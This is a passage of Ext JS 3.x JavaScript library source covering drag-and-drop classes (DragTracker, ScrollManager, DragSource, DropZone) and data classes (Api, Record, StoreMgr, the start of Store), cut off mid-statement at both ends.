Ext.extend(Ext.util.Observable, {active:false, tolerance:5, autoStart:false, constructor:function (a) {\n    Ext.apply(this, a);\n    this.addEvents(\"mousedown\", \"mouseup\", \"mousemove\", \"dragstart\", \"dragend\", \"drag\");\n    this.dragRegion = new Ext.lib.Region(0, 0, 0, 0);\n    if (this.el) {\n        this.initEl(this.el)\n    }\n    Ext.dd.DragTracker.superclass.constructor.call(this, a)\n}, initEl:function (a) {\n    this.el = Ext.get(a);\n    a.on(\"mousedown\", this.onMouseDown, this, this.delegate ? {delegate:this.delegate} : undefined)\n}, destroy:function () {\n    this.el.un(\"mousedown\", this.onMouseDown, this);\n    delete this.el\n}, onMouseDown:function (b, a) {\n    if (this.fireEvent(\"mousedown\", this, b) !== false && this.onBeforeStart(b) !== false) {\n        this.startXY = this.lastXY = b.getXY();\n        this.dragTarget = this.delegate ? a : this.el.dom;\n        if (this.preventDefault !== false) {\n            b.preventDefault()\n        }\n        Ext.getDoc().on({scope:this, mouseup:this.onMouseUp, mousemove:this.onMouseMove, selectstart:this.stopSelect});\n        if (this.autoStart) {\n            this.timer = this.triggerStart.defer(this.autoStart === true ? 1000 : this.autoStart, this, [b])\n        }\n    }\n}, onMouseMove:function (d, c) {\n    if (this.active && Ext.isIE && !d.browserEvent.button) {\n        d.preventDefault();\n        this.onMouseUp(d);\n        return\n    }\n    d.preventDefault();\n    var b = d.getXY(), a = this.startXY;\n    this.lastXY = b;\n    if (!this.active) {\n        if (Math.abs(a[0] - b[0]) > this.tolerance || Math.abs(a[1] - b[1]) > this.tolerance) {\n            this.triggerStart(d)\n        } else {\n            return\n        }\n    }\n    this.fireEvent(\"mousemove\", this, d);\n    this.onDrag(d);\n    this.fireEvent(\"drag\", this, d)\n}, onMouseUp:function (c) {\n    var b = Ext.getDoc(), a = this.active;\n    b.un(\"mousemove\", this.onMouseMove, this);\n    b.un(\"mouseup\", this.onMouseUp, this);\n    b.un(\"selectstart\", this.stopSelect, this);\n    c.preventDefault();\n    this.clearStart();\n    this.active = false;\n    delete this.elRegion;\n    this.fireEvent(\"mouseup\", this, c);\n    if (a) {\n        this.onEnd(c);\n        this.fireEvent(\"dragend\", this, c)\n    }\n}, triggerStart:function (a) {\n    this.clearStart();\n    this.active = true;\n    this.onStart(a);\n    this.fireEvent(\"dragstart\", this, a)\n}, clearStart:function () {\n    if (this.timer) {\n        clearTimeout(this.timer);\n        delete this.timer\n    }\n}, stopSelect:function (a) {\n    a.stopEvent();\n    return false\n}, onBeforeStart:function (a) {\n}, onStart:function (a) {\n}, onDrag:function (a) {\n}, onEnd:function (a) {\n}, getDragTarget:function () {\n    return this.dragTarget\n}, getDragCt:function () {\n    return this.el\n}, getXY:function (a) {\n    return a ? this.constrainModes[a].call(this, this.lastXY) : this.lastXY\n}, getOffset:function (c) {\n    var b = this.getXY(c), a = this.startXY;\n    return[a[0] - b[0], a[1] - b[1]]\n}, constrainModes:{point:function (b) {\n    if (!this.elRegion) {\n        this.elRegion = this.getDragCt().getRegion()\n    }\n    var a = this.dragRegion;\n    a.left = b[0];\n    a.top = b[1];\n    a.right = b[0];\n    a.bottom = b[1];\n    a.constrainTo(this.elRegion);\n    return[a.left, a.top]\n}}});\nExt.dd.ScrollManager = function () {\n    var c = Ext.dd.DragDropMgr;\n    var e = {};\n    var b = null;\n    var i = {};\n    var h = function (l) {\n        b = null;\n        a()\n    };\n    var j = function () {\n        if (c.dragCurrent) {\n            c.refreshCache(c.dragCurrent.groups)\n        }\n    };\n    var d = function () {\n        if (c.dragCurrent) {\n            var l = Ext.dd.ScrollManager;\n            var m = i.el.ddScrollConfig ? i.el.ddScrollConfig.increment : l.increment;\n            if (!l.animate) {\n                if (i.el.scroll(i.dir, m)) {\n                    j()\n                }\n            } else {\n                i.el.scroll(i.dir, m, true, l.animDuration, j)\n            }\n        }\n    };\n    var a = function () {\n        if (i.id) {\n            clearInterval(i.id)\n        }\n        i.id = 0;\n        i.el = null;\n        i.dir = \"\"\n    };\n    var g = function (m, l) {\n        a();\n        i.el = m;\n        i.dir = l;\n        var o = m.ddScrollConfig ? m.ddScrollConfig.ddGroup : undefined, n = (m.ddScrollConfig && m.ddScrollConfig.frequency) ? m.ddScrollConfig.frequency : Ext.dd.ScrollManager.frequency;\n        if (o === undefined || c.dragCurrent.ddGroup == o) {\n            i.id = setInterval(d, n)\n        }\n    };\n    var k = function (o, q) {\n        if (q || !c.dragCurrent) {\n            return\n        }\n        var s = Ext.dd.ScrollManager;\n        if (!b || b != c.dragCurrent) {\n            b = c.dragCurrent;\n            s.refreshCache()\n        }\n        var t = Ext.lib.Event.getXY(o);\n        var u = new Ext.lib.Point(t[0], t[1]);\n        for (var m in e) {\n            var n = e[m], l = n._region;\n            var p = n.ddScrollConfig ? n.ddScrollConfig : s;\n            if (l && l.contains(u) && n.isScrollable()) {\n                if (l.bottom - u.y <= p.vthresh) {\n                    if (i.el != n) {\n                        g(n, \"down\")\n                    }\n                    return\n                } else {\n                    if (l.right - u.x <= p.hthresh) {\n                        if (i.el != n) {\n                            g(n, \"left\")\n                        }\n                        return\n                    } else {\n                        if (u.y - l.top <= p.vthresh) {\n                            if (i.el != n) {\n                                g(n, \"up\")\n                            }\n                            return\n                        } else {\n                            if (u.x - l.left <= p.hthresh) {\n                                if (i.el != n) {\n                                    g(n, \"right\")\n                                }\n                                return\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        a()\n    };\n    c.fireEvents = c.fireEvents.createSequence(k, c);\n    c.stopDrag = c.stopDrag.createSequence(h, c);\n    return{register:function (n) {\n        if (Ext.isArray(n)) {\n            for (var m = 0, l = n.length; m < l; m++) {\n                this.register(n[m])\n            }\n        } else {\n            n = Ext.get(n);\n            e[n.id] = n\n        }\n    }, unregister:function (n) {\n        if (Ext.isArray(n)) {\n            for (var m = 0, l = n.length; m < l; m++) {\n                this.unregister(n[m])\n            }\n        } else {\n            n = Ext.get(n);\n            delete e[n.id]\n        }\n    }, vthresh:25, hthresh:25, increment:100, frequency:500, animate:true, animDuration:0.4, ddGroup:undefined, refreshCache:function () {\n        for (var l in e) {\n            if (typeof e[l] == \"object\") {\n                e[l]._region = e[l].getRegion()\n            }\n        }\n    }}\n}();\nExt.dd.Registry = function () {\n    var d = {};\n    var b = {};\n    var a = 0;\n    var c = function (g, e) {\n        if (typeof g == \"string\") {\n            return g\n        }\n        var h = g.id;\n        if (!h && e !== false) {\n            h = \"extdd-\" + (++a);\n            g.id = h\n        }\n        return h\n    };\n    return{register:function (j, k) {\n        k = k || {};\n        if (typeof j == \"string\") {\n            j = document.getElementById(j)\n        }\n        k.ddel = j;\n        d[c(j)] = k;\n        if (k.isHandle !== false) {\n            b[k.ddel.id] = k\n        }\n        if (k.handles) {\n            var h = k.handles;\n            for (var g = 0, e = h.length; g < e; g++) {\n                b[c(h[g])] = k\n            }\n        }\n    }, unregister:function (j) {\n        var l = c(j, false);\n        var k = d[l];\n        if (k) {\n            delete d[l];\n            if (k.handles) {\n                var h = k.handles;\n                for (var g = 0, e = h.length; g < e; g++) {\n                    delete b[c(h[g], false)]\n                }\n            }\n        }\n    }, getHandle:function (e) {\n        if (typeof e != \"string\") {\n            e = e.id\n        }\n        return b[e]\n    }, getHandleFromEvent:function (h) {\n        var g = Ext.lib.Event.getTarget(h);\n        return g ? b[g.id] : null\n    }, getTarget:function (e) {\n        if (typeof e != \"string\") {\n            e = e.id\n        }\n        return d[e]\n    }, getTargetFromEvent:function (h) {\n        var g = Ext.lib.Event.getTarget(h);\n        return g ? d[g.id] || b[g.id] : null\n    }}\n}();\nExt.dd.StatusProxy = function (a) {\n    Ext.apply(this, a);\n    this.id = this.id || Ext.id();\n    this.el = new Ext.Layer({dh:{id:this.id, tag:\"div\", cls:\"x-dd-drag-proxy \" + this.dropNotAllowed, children:[\n        {tag:\"div\", cls:\"x-dd-drop-icon\"},\n        {tag:\"div\", cls:\"x-dd-drag-ghost\"}\n    ]}, shadow:!a || a.shadow !== false});\n    this.ghost = Ext.get(this.el.dom.childNodes[1]);\n    this.dropStatus = this.dropNotAllowed\n};\nExt.dd.StatusProxy.prototype = {dropAllowed:\"x-dd-drop-ok\", dropNotAllowed:\"x-dd-drop-nodrop\", setStatus:function (a) {\n    a = a || this.dropNotAllowed;\n    if (this.dropStatus != a) {\n        this.el.replaceClass(this.dropStatus, a);\n        this.dropStatus = a\n    }\n}, reset:function (a) {\n    this.el.dom.className = \"x-dd-drag-proxy \" + this.dropNotAllowed;\n    this.dropStatus = this.dropNotAllowed;\n    if (a) {\n        this.ghost.update(\"\")\n    }\n}, update:function (a) {\n    if (typeof a == \"string\") {\n        this.ghost.update(a)\n    } else {\n        this.ghost.update(\"\");\n        a.style.margin = \"0\";\n        this.ghost.dom.appendChild(a)\n    }\n    var b = this.ghost.dom.firstChild;\n    if (b) {\n        Ext.fly(b).setStyle(\"float\", \"none\")\n    }\n}, getEl:function () {\n    return this.el\n}, getGhost:function () {\n    return this.ghost\n}, hide:function (a) {\n    this.el.hide();\n    if (a) {\n        this.reset(true)\n    }\n}, stop:function () {\n    if (this.anim && this.anim.isAnimated && this.anim.isAnimated()) {\n        this.anim.stop()\n    }\n}, show:function () {\n    this.el.show()\n}, sync:function () {\n    this.el.sync()\n}, repair:function (b, c, a) {\n    this.callback = c;\n    this.scope = a;\n    if (b && this.animRepair !== false) {\n        this.el.addClass(\"x-dd-drag-repair\");\n        this.el.hideUnders(true);\n        this.anim = this.el.shift({duration:this.repairDuration || 0.5, easing:\"easeOut\", xy:b, stopFx:true, callback:this.afterRepair, scope:this})\n    } else {\n        this.afterRepair()\n    }\n}, afterRepair:function () {\n    this.hide(true);\n    if (typeof this.callback == \"function\") {\n        this.callback.call(this.scope || this)\n    }\n    this.callback = null;\n    this.scope = null\n}, destroy:function () {\n    Ext.destroy(this.ghost, this.el)\n}};\nExt.dd.DragSource = function (b, a) {\n    this.el = Ext.get(b);\n    if (!this.dragData) {\n        this.dragData = {}\n    }\n    Ext.apply(this, a);\n    if (!this.proxy) {\n        this.proxy = new Ext.dd.StatusProxy()\n    }\n    Ext.dd.DragSource.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {dragElId:this.proxy.id, resizeFrame:false, isTarget:false, scroll:this.scroll === true});\n    this.dragging = false\n};\nExt.extend(Ext.dd.DragSource, Ext.dd.DDProxy, {dropAllowed:\"x-dd-drop-ok\", dropNotAllowed:\"x-dd-drop-nodrop\", getDragData:function (a) {\n    return this.dragData\n}, onDragEnter:function (c, d) {\n    var b = Ext.dd.DragDropMgr.getDDById(d);\n    this.cachedTarget = b;\n    if (this.beforeDragEnter(b, c, d) !== false) {\n        if (b.isNotifyTarget) {\n            var a = b.notifyEnter(this, c, this.dragData);\n            this.proxy.setStatus(a)\n        } else {\n            this.proxy.setStatus(this.dropAllowed)\n        }\n        if (this.afterDragEnter) {\n            this.afterDragEnter(b, c, d)\n        }\n    }\n}, beforeDragEnter:function (b, a, c) {\n    return true\n}, alignElWithMouse:function () {\n    Ext.dd.DragSource.superclass.alignElWithMouse.apply(this, arguments);\n    this.proxy.sync()\n}, onDragOver:function (c, d) {\n    var b = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(d);\n    if (this.beforeDragOver(b, c, d) !== false) {\n        if (b.isNotifyTarget) {\n            var a = b.notifyOver(this, c, this.dragData);\n            this.proxy.setStatus(a)\n        }\n        if (this.afterDragOver) {\n            this.afterDragOver(b, c, d)\n        }\n    }\n}, beforeDragOver:function (b, a, c) {\n    return true\n}, onDragOut:function (b, c) {\n    var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c);\n    if (this.beforeDragOut(a, b, c) !== false) {\n        if (a.isNotifyTarget) {\n            a.notifyOut(this, b, this.dragData)\n        }\n        this.proxy.reset();\n        if (this.afterDragOut) {\n            this.afterDragOut(a, b, c)\n        }\n    }\n    this.cachedTarget = null\n}, beforeDragOut:function (b, a, c) {\n    return true\n}, onDragDrop:function (b, c) {\n    var a = this.cachedTarget || Ext.dd.DragDropMgr.getDDById(c);\n    if (this.beforeDragDrop(a, b, c) !== false) {\n        if (a.isNotifyTarget) {\n            if (a.notifyDrop(this, b, this.dragData)) {\n                this.onValidDrop(a, b, c)\n            } else {\n                this.onInvalidDrop(a, b, c)\n            }\n        } else {\n            this.onValidDrop(a, b, c)\n        }\n        if (this.afterDragDrop) {\n            this.afterDragDrop(a, b, c)\n        }\n    }\n    delete this.cachedTarget\n}, beforeDragDrop:function (b, a, c) {\n    return true\n}, onValidDrop:function (b, a, c) {\n    this.hideProxy();\n    if (this.afterValidDrop) {\n        this.afterValidDrop(b, a, c)\n    }\n}, getRepairXY:function (b, a) {\n    return this.el.getXY()\n}, onInvalidDrop:function (b, a, c) {\n    this.beforeInvalidDrop(b, a, c);\n    if (this.cachedTarget) {\n        if (this.cachedTarget.isNotifyTarget) {\n            this.cachedTarget.notifyOut(this, a, this.dragData)\n        }\n        this.cacheTarget = null\n    }\n    this.proxy.repair(this.getRepairXY(a, this.dragData), this.afterRepair, this);\n    if (this.afterInvalidDrop) {\n        this.afterInvalidDrop(a, c)\n    }\n}, afterRepair:function () {\n    if (Ext.enableFx) {\n        this.el.highlight(this.hlColor || \"c3daf9\")\n    }\n    this.dragging = false\n}, beforeInvalidDrop:function (b, a, c) {\n    return true\n}, handleMouseDown:function (b) {\n    if (this.dragging) {\n        return\n    }\n    var a = this.getDragData(b);\n    if (a && this.onBeforeDrag(a, b) !== false) {\n        this.dragData = a;\n        this.proxy.stop();\n        Ext.dd.DragSource.superclass.handleMouseDown.apply(this, arguments)\n    }\n}, onBeforeDrag:function (a, b) {\n    return true\n}, onStartDrag:Ext.emptyFn, startDrag:function (a, b) {\n    this.proxy.reset();\n    this.dragging = true;\n    this.proxy.update(\"\");\n    this.onInitDrag(a, b);\n    this.proxy.show()\n}, onInitDrag:function (a, c) {\n    var b = this.el.dom.cloneNode(true);\n    b.id = Ext.id();\n    this.proxy.update(b);\n    this.onStartDrag(a, c);\n    return true\n}, getProxy:function () {\n    return this.proxy\n}, hideProxy:function () {\n    this.proxy.hide();\n    this.proxy.reset(true);\n    this.dragging = false\n}, triggerCacheRefresh:function () {\n    Ext.dd.DDM.refreshCache(this.groups)\n}, b4EndDrag:function (a) {\n}, endDrag:function (a) {\n    this.onEndDrag(this.dragData, a)\n}, onEndDrag:function (a, b) {\n}, autoOffset:function (a, b) {\n    this.setDelta(-12, -20)\n}, destroy:function () {\n    Ext.dd.DragSource.superclass.destroy.call(this);\n    Ext.destroy(this.proxy)\n}});\nExt.dd.DropTarget = Ext.extend(Ext.dd.DDTarget, {constructor:function (b, a) {\n    this.el = Ext.get(b);\n    Ext.apply(this, a);\n    if (this.containerScroll) {\n        Ext.dd.ScrollManager.register(this.el)\n    }\n    Ext.dd.DropTarget.superclass.constructor.call(this, this.el.dom, this.ddGroup || this.group, {isTarget:true})\n}, dropAllowed:\"x-dd-drop-ok\", dropNotAllowed:\"x-dd-drop-nodrop\", isTarget:true, isNotifyTarget:true, notifyEnter:function (a, c, b) {\n    if (this.overClass) {\n        this.el.addClass(this.overClass)\n    }\n    return this.dropAllowed\n}, notifyOver:function (a, c, b) {\n    return this.dropAllowed\n}, notifyOut:function (a, c, b) {\n    if (this.overClass) {\n        this.el.removeClass(this.overClass)\n    }\n}, notifyDrop:function (a, c, b) {\n    return false\n}, destroy:function () {\n    Ext.dd.DropTarget.superclass.destroy.call(this);\n    if (this.containerScroll) {\n        Ext.dd.ScrollManager.unregister(this.el)\n    }\n}});\nExt.dd.DragZone = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) {\n    Ext.dd.DragZone.superclass.constructor.call(this, b, a);\n    if (this.containerScroll) {\n        Ext.dd.ScrollManager.register(this.el)\n    }\n}, getDragData:function (a) {\n    return Ext.dd.Registry.getHandleFromEvent(a)\n}, onInitDrag:function (a, b) {\n    this.proxy.update(this.dragData.ddel.cloneNode(true));\n    this.onStartDrag(a, b);\n    return true\n}, afterRepair:function () {\n    if (Ext.enableFx) {\n        Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || \"c3daf9\")\n    }\n    this.dragging = false\n}, getRepairXY:function (a) {\n    return Ext.Element.fly(this.dragData.ddel).getXY()\n}, destroy:function () {\n    Ext.dd.DragZone.superclass.destroy.call(this);\n    if (this.containerScroll) {\n        Ext.dd.ScrollManager.unregister(this.el)\n    }\n}});\nExt.dd.DropZone = function (b, a) {\n    Ext.dd.DropZone.superclass.constructor.call(this, b, a)\n};\nExt.extend(Ext.dd.DropZone, Ext.dd.DropTarget, {getTargetFromEvent:function (a) {\n    return Ext.dd.Registry.getTargetFromEvent(a)\n}, onNodeEnter:function (d, a, c, b) {\n}, onNodeOver:function (d, a, c, b) {\n    return this.dropAllowed\n}, onNodeOut:function (d, a, c, b) {\n}, onNodeDrop:function (d, a, c, b) {\n    return false\n}, onContainerOver:function (a, c, b) {\n    return this.dropNotAllowed\n}, onContainerDrop:function (a, c, b) {\n    return false\n}, notifyEnter:function (a, c, b) {\n    return this.dropNotAllowed\n}, notifyOver:function (a, c, b) {\n    var d = this.getTargetFromEvent(c);\n    if (!d) {\n        if (this.lastOverNode) {\n            this.onNodeOut(this.lastOverNode, a, c, b);\n            this.lastOverNode = null\n        }\n        return this.onContainerOver(a, c, b)\n    }\n    if (this.lastOverNode != d) {\n        if (this.lastOverNode) {\n            this.onNodeOut(this.lastOverNode, a, c, b)\n        }\n        this.onNodeEnter(d, a, c, b);\n        this.lastOverNode = d\n    }\n    return this.onNodeOver(d, a, c, b)\n}, notifyOut:function (a, c, b) {\n    if (this.lastOverNode) {\n        this.onNodeOut(this.lastOverNode, a, c, b);\n        this.lastOverNode = null\n    }\n}, notifyDrop:function (a, c, b) {\n    if (this.lastOverNode) {\n        this.onNodeOut(this.lastOverNode, a, c, b);\n        this.lastOverNode = null\n    }\n    var d = this.getTargetFromEvent(c);\n    return d ? this.onNodeDrop(d, a, c, b) : this.onContainerDrop(a, c, b)\n}, triggerCacheRefresh:function () {\n    Ext.dd.DDM.refreshCache(this.groups)\n}});\nExt.Element.addMethods({initDD:function (c, b, d) {\n    var a = new Ext.dd.DD(Ext.id(this.dom), c, b);\n    return Ext.apply(a, d)\n}, initDDProxy:function (c, b, d) {\n    var a = new Ext.dd.DDProxy(Ext.id(this.dom), c, b);\n    return Ext.apply(a, d)\n}, initDDTarget:function (c, b, d) {\n    var a = new Ext.dd.DDTarget(Ext.id(this.dom), c, b);\n    return Ext.apply(a, d)\n}});\nExt.data.Api = (function () {\n    var a = {};\n    return{actions:{create:\"create\", read:\"read\", update:\"update\", destroy:\"destroy\"}, restActions:{create:\"POST\", read:\"GET\", update:\"PUT\", destroy:\"DELETE\"}, isAction:function (b) {\n        return(Ext.data.Api.actions[b]) ? true : false\n    }, getVerb:function (b) {\n        if (a[b]) {\n            return a[b]\n        }\n        for (var c in this.actions) {\n            if (this.actions[c] === b) {\n                a[b] = c;\n                break\n            }\n        }\n        return(a[b] !== undefined) ? a[b] : null\n    }, isValid:function (b) {\n        var e = [];\n        var d = this.actions;\n        for (var c in b) {\n            if (!(c in d)) {\n                e.push(c)\n            }\n        }\n        return(!e.length) ? true : e\n    }, hasUniqueUrl:function (c, g) {\n        var b = (c.api[g]) ? c.api[g].url : null;\n        var e = true;\n        for (var d in c.api) {\n            if ((e = (d === g) ? true : (c.api[d].url != b) ? true : false) === false) {\n                break\n            }\n        }\n        return e\n    }, prepare:function (b) {\n        if (!b.api) {\n            b.api = {}\n        }\n        for (var d in this.actions) {\n            var c = this.actions[d];\n            b.api[c] = b.api[c] || b.url || b.directFn;\n            if (typeof(b.api[c]) == \"string\") {\n                b.api[c] = {url:b.api[c], method:(b.restful === true) ? Ext.data.Api.restActions[c] : undefined}\n            }\n        }\n    }, restify:function (b) {\n        b.restful = true;\n        for (var c in this.restActions) {\n            b.api[this.actions[c]].method || (b.api[this.actions[c]].method = this.restActions[c])\n        }\n        b.onWrite = b.onWrite.createInterceptor(function (i, j, g, e) {\n            var d = j.reader;\n            var h = new Ext.data.Response({action:i, raw:g});\n            switch (g.status) {\n                case 200:\n                    return true;\n                    break;\n                case 201:\n                    if (Ext.isEmpty(h.raw.responseText)) {\n                        h.success = true\n                    } else {\n                        return true\n                    }\n                    break;\n                case 204:\n                    h.success = true;\n                    h.data = null;\n                    break;\n                default:\n                    return true;\n                    break\n            }\n            if (h.success === true) {\n                this.fireEvent(\"write\", this, i, h.data, h, e, j.request.arg)\n            } else {\n                this.fireEvent(\"exception\", this, \"remote\", i, j, h, e)\n            }\n            j.request.callback.call(j.request.scope, h.data, h, h.success);\n            return false\n        }, b)\n    }}\n})();\nExt.data.Response = function (b, a) {\n    Ext.apply(this, b, {raw:a})\n};\nExt.data.Response.prototype = {message:null, success:false, status:null, root:null, raw:null, getMessage:function () {\n    return this.message\n}, getSuccess:function () {\n    return this.success\n}, getStatus:function () {\n    return this.status\n}, getRoot:function () {\n    return this.root\n}, getRawResponse:function () {\n    return this.raw\n}};\nExt.data.Api.Error = Ext.extend(Ext.Error, {constructor:function (b, a) {\n    this.arg = a;\n    Ext.Error.call(this, b)\n}, name:\"Ext.data.Api\"});\nExt.apply(Ext.data.Api.Error.prototype, {lang:{\"action-url-undefined\":\"No fallback url defined for this action.  When defining a DataProxy api, please be sure to define an url for each CRUD action in Ext.data.Api.actions or define a default url in addition to your api-configuration.\", invalid:\"received an invalid API-configuration.  Please ensure your proxy API-configuration contains only the actions defined in Ext.data.Api.actions\", \"invalid-url\":\"Invalid url.  Please review your proxy configuration.\", execute:'Attempted to execute an unknown action.  Valid API actions are defined in Ext.data.Api.actions\"'}});\nExt.data.SortTypes = {none:function (a) {\n    return a\n}, stripTagsRE:/<\\/?[^>]+>/gi, asText:function (a) {\n    return String(a).replace(this.stripTagsRE, \"\")\n}, asUCText:function (a) {\n    return String(a).toUpperCase().replace(this.stripTagsRE, \"\")\n}, asUCString:function (a) {\n    return String(a).toUpperCase()\n}, asDate:function (a) {\n    if (!a) {\n        return 0\n    }\n    if (Ext.isDate(a)) {\n        return a.getTime()\n    }\n    return Date.parse(String(a))\n}, asFloat:function (a) {\n    var b = parseFloat(String(a).replace(/,/g, \"\"));\n    return isNaN(b) ? 0 : b\n}, asInt:function (a) {\n    var b = parseInt(String(a).replace(/,/g, \"\"), 10);\n    return isNaN(b) ? 0 : b\n}};\nExt.data.Record = function (a, b) {\n    this.id = (b || b === 0) ? b : Ext.data.Record.id(this);\n    this.data = a || {}\n};\nExt.data.Record.create = function (e) {\n    var c = Ext.extend(Ext.data.Record, {});\n    var d = c.prototype;\n    d.fields = new Ext.util.MixedCollection(false, function (g) {\n        return g.name\n    });\n    for (var b = 0, a = e.length; b < a; b++) {\n        d.fields.add(new Ext.data.Field(e[b]))\n    }\n    c.getField = function (g) {\n        return d.fields.get(g)\n    };\n    return c\n};\nExt.data.Record.PREFIX = \"ext-record\";\nExt.data.Record.AUTO_ID = 1;\nExt.data.Record.EDIT = \"edit\";\nExt.data.Record.REJECT = \"reject\";\nExt.data.Record.COMMIT = \"commit\";\nExt.data.Record.id = function (a) {\n    a.phantom = true;\n    return[Ext.data.Record.PREFIX, \"-\", Ext.data.Record.AUTO_ID++].join(\"\")\n};\nExt.data.Record.prototype = {dirty:false, editing:false, error:null, modified:null, phantom:false, join:function (a) {\n    this.store = a\n}, set:function (a, c) {\n    var b = Ext.isPrimitive(c) ? String : Ext.encode;\n    if (b(this.data[a]) == b(c)) {\n        return\n    }\n    this.dirty = true;\n    if (!this.modified) {\n        this.modified = {}\n    }\n    if (this.modified[a] === undefined) {\n        this.modified[a] = this.data[a]\n    }\n    this.data[a] = c;\n    if (!this.editing) {\n        this.afterEdit()\n    }\n}, afterEdit:function () {\n    if (this.store != undefined && typeof this.store.afterEdit == \"function\") {\n        this.store.afterEdit(this)\n    }\n}, afterReject:function () {\n    if (this.store) {\n        this.store.afterReject(this)\n    }\n}, afterCommit:function () {\n    if (this.store) {\n        this.store.afterCommit(this)\n    }\n}, get:function (a) {\n    return this.data[a]\n}, beginEdit:function () {\n    this.editing = true;\n    this.modified = this.modified || {}\n}, cancelEdit:function () {\n    this.editing = false;\n    delete this.modified\n}, endEdit:function () {\n    this.editing = false;\n    if (this.dirty) {\n        this.afterEdit()\n    }\n}, reject:function (b) {\n    var a = this.modified;\n    for (var c in a) {\n        if (typeof a[c] != \"function\") {\n            this.data[c] = a[c]\n        }\n    }\n    this.dirty = false;\n    delete this.modified;\n    this.editing = false;\n    if (b !== true) {\n        this.afterReject()\n    }\n}, commit:function (a) {\n    this.dirty = false;\n    delete this.modified;\n    this.editing = false;\n    if (a !== true) {\n        this.afterCommit()\n    }\n}, getChanges:function () {\n    var a = this.modified, b = {};\n    for (var c in a) {\n        if (a.hasOwnProperty(c)) {\n            b[c] = this.data[c]\n        }\n    }\n    return b\n}, hasError:function () {\n    return this.error !== null\n}, clearError:function () {\n    this.error = null\n}, copy:function (a) {\n    return new this.constructor(Ext.apply({}, this.data), a || this.id)\n}, isModified:function (a) {\n    return !!(this.modified && this.modified.hasOwnProperty(a))\n}, isValid:function () {\n    return this.fields.find(function (a) {\n        return(a.allowBlank === false && Ext.isEmpty(this.data[a.name])) ? true : false\n    }, this) ? false : true\n}, markDirty:function () {\n    this.dirty = true;\n    if (!this.modified) {\n        this.modified = {}\n    }\n    this.fields.each(function (a) {\n        this.modified[a.name] = this.data[a.name]\n    }, this)\n}};\nExt.StoreMgr = Ext.apply(new Ext.util.MixedCollection(), {register:function () {\n    for (var a = 0, b; (b = arguments[a]); a++) {\n        this.add(b)\n    }\n}, unregister:function () {\n    for (var a = 0, b; (b = arguments[a]); a++) {\n        this.remove(this.lookup(b))\n    }\n}, lookup:function (e) {\n    if (Ext.isArray(e)) {\n        var b = [\"field1\"], d = !Ext.isArray(e[0]);\n        if (!d) {\n            for (var c = 2, a = e[0].length; c <= a; ++c) {\n                b.push(\"field\" + c)\n            }\n        }\n        return new Ext.data.ArrayStore({fields:b, data:e, expandData:d, autoDestroy:true, autoCreated:true})\n    }\n    return Ext.isObject(e) ? (e.events ? e : Ext.create(e, \"store\")) : this.get(e)\n}, getKey:function (a) {\n    return a.storeId\n}});\nExt.data.Store = Ext.extend(Ext.util.Observable, {writer:undefined, remoteSort:false, autoDestroy:false, pruneModifiedRecords:false, lastOptions:null, autoSave:true, batch:true, restful:false, paramNames:undefined, defaultParamNames:{start:\"start\", limit:\"limit\", sort:\"sort\", dir:\"dir\"}, isDestroyed:false, hasMultiSort:false, batchKey:\"_ext_batch_\", constructor:function (a) {\n    this.data = new Ext.util.MixedCollection(false);\n    this.data.getKey = function (b) {\n        return b.id\n    };\n    this.removed = [];\n    if (a && a.data) {\n        this.inlineData = a.data;\n        delete a.data\n    }\n    Ext.apply(this, a);\n    this.baseParams = Ext.isObject(this.baseParams) ? this.baseParams : {};\n    this.paramNames = Ext.applyIf(this.paramNames || {}, this.defaultParamNames);\n    if ((this.url || this.api) && !this.proxy) {\n        this.proxy = new Ext.data.HttpProxy({url:this.url, api:this.api})\n    }\n    if (this.restful === true && this.proxy) {\n        this.batch = false;\n        Ext.data.Api.restify(this.proxy)\n    }\n    if (this.reader) {\n        if (!this.recordType) {\n            this.recordType = this.reader.recordType\n        }\n        if (this.reader.onMetaChange) {\n            this.reader.onMetaChange = this.reader.onMetaChange.createSequence(this.onMetaChange, this)\n        }\n        if (this.writer) {\n            if (this.writer instanceof (Ext.data.DataWriter) === false) {\n                this.writer = this.buildWriter(this.writer)\n            }\n            this.writer.meta = this.reader.meta;\n            this.pruneModifiedRecords = true\n        }\n    }\n    if (this.recordType) {\n        this.fields = this.recordType.prototype.fields\n    }\n    this.modified = [];\n    this.addEvents(\"datachanged\", \"metachange\", \"add\", \"remove\", \"update\", \"clear\", \"exception\", \"beforeload\", \"load\", \"loadexception\", \"beforewrite\", \"write\", \"beforesave\", \"save\");\n    if (this.proxy) {\n        this.relayEvents(this.proxy, [\"loadexception\", \"exception\"])\n    }\n    if (this.writer) {\n        this.on({scope:this, add:this.createRecords, remove:this.destroyRecord, update:this.updateRecord, clear:this.onClear})\n    }\n    this.sortToggle = {};\n    if (this.sortField) {\n        this.setDefaultSort(this.sortField, this.sortDir)\n    } else {\n        if (this.sortInfo) {\n            this.setDefaultSort(this.sortInfo.field, this.sortInfo.direction)\n        }\n    }\n    Ext.data.Store.superclass.constructor.call(this);\n    if (this.id) {\n        this.storeId = this.id;\n        delete this.id\n    }\n    if (this.storeId) {\n        Ext.StoreMgr.register(this)\n    }\n    if (this.inlineData) {\n        this.loadData(this.inlineData);\n        delete this.inlineData\n    } else {\n        if (this.autoLoad) {\n            this.load.defer(10, this, [typeof this.autoLoad == \"object\" ? this.autoLoad : undefined])\n        }\n    }\n    this.batchCounter = 0;\n    this.batches = {}\n}, buildWriter:function (b) {\n    var a = undefined, c = (b.format || \"json\").toLowerCase();\n    switch (c) {\n        case\"json\":\n            a = Ext.data.JsonWriter;\n            break;\n        case\"xml\":\n            a = Ext.data.XmlWriter;\n            break;\n        default:\n            a = Ext.data.JsonWriter\n    }\n    return new a(b)\n}, destroy:function () {\n    if (!this.isDestroyed) {\n        if (this.storeId) {\n            Ext.StoreMgr.unregister(this)\n        }\n        this.clearData();\n        this.data = null;\n        Ext.destroy(this.proxy);\n        this.reader = this.writer = null;\n        this.purgeListeners();\n        this.isDestroyed = true\n    }\n}, add:function (c) {\n    var e, a, b, d;\n    c = [].concat(c);\n    if (c.length < 1) {\n        return\n    }\n    for (e = 0, a = c.length; e < a; e++) {\n        b = c[e];\n        b.join(this);\n        if (b.dirty || b.phantom) {\n            this.modified.push(b)\n        }\n    }\n    d = this.data.length;\n    this.data.addAll(c);\n    if 